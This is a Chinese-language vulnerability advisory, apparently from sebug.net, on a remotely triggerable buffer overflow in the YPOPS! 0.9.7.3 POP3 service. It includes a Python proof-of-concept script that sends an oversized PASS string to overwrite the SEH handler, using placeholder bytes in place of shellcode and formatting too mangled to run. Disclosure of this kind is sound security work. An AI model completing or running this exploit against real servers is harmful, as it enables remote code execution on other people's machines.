漏洞起因
边界条件错误
危险等级
中
影响系统
YPOPS! v0.9.7.3
不受影响系统
危害
远程攻击者可以利用漏洞以应用程序权限执行任意指令。
攻击所需条件
攻击者必须访问YPOPs!。
漏洞信息
YPOPs!是一款使Yahoo!支持POP功能的软件。它仿效一个POP3服务器并能够使用流行的email客户端软件收取Yahoo!的邮件。
YPOPs!不正确过滤用户提交的参数,远程攻击者可以利用漏洞进行缓冲区溢出攻击。
构建超长字符串作为密码数据提交可触发此漏洞,成功利用漏洞可以应用程序权限执行任意指令。
测试方法
# Version:0.9.7.3
# Tested on: Windows XP SP3
#!/usr/bin/python
# All modules are SafeSEH protected in service pack 3.
import socket, sys
print "\n ========================================"
print " YPOPS! v 0.9.7.3 Buffer Overflow (SEH)"
print " Proof of Concept by Blake "
print " Tested on Windows XP Pro SP 3 "
print " ========================================\n"
if len(sys.argv) != 2:
print "Usage: %s <ip>\n" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
port = 110
buffer = "\x41" * 1663
buffer += "\x42" * 4 # next seh
buffer += "\x43" * 4 # seh handler
buffer += "\x44" * 2000 # 136 bytes of space for shellcode
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
print "[+] Connecting to server…\n"
s.recv(1024)
s.send(‘USER blake\r\n’)
s.recv(1024)
print "[+] Sending buffer\n"
s.send(‘PASS ‘ + buffer + ‘\r\n’)
s.recv(1024)
s.close()
print "[+] Done.\n"
except:
print "[-] Could not connect to server!\n"
// sebug.net [2010-01-11]
厂商解决方案
目前没有解决方案提供:
http://ypopsemail.com/
漏洞提供者
blake
0 条评论。